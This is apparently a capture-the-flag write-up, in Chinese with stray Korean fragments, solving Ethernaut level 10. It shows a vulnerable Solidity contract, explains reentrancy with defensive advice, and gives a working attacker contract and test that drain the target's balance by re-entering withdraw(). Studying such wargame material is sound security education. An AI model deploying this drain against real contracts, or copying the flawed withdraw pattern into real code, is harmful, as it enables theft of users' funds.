Ethernaut系列-레벨 10(재진입)

8463 단어

레벨 10(재진입):




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      //(bool result,) = msg.sender.call{value:_amount}("");
      //原文是上面这行,在0.6是无法编译的,修改为下面这行
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}


通关要求



取光合约的余额

要点



重入攻击:方法里调用有外部方法,外部方法又调用本方法,导致安全问题
https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21

安全建议



1. 外部方法加锁
2. 严格遵循check-effect-interaction原则
检查条件->修改变量/状态->交互(执行动作)
交互要放在最后

check-effect-interaction이 더 중요하고, 더 나은 결과를 얻으려면!!!

解题思路



1. 写个合约在再调用进行重入
계약/10ReentranceRun.js

    function run(address _levelAddress) external payable {
        levelAddress = _levelAddress;
        donateAmount = msg.value;
        ILevel(levelAddress).donate{value:donateAmount}(address(this));
        ILevel(levelAddress).withdraw(donateAmount);
    }
    //重入withdraw
    receive() external payable {
        uint256 levelBalance = payable(levelAddress).balance;
        if (msg.sender == levelAddress && levelBalance !=0 ) {
            ILevel(levelAddress).withdraw(donateAmount>levelBalance?levelBalance:donateAmount);
        }
    }


test/10Reentrance.js

  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address, {
      value: ethers.utils.parseEther("0.5"),
    });
  });

좋은 웹페이지 즐겨찾기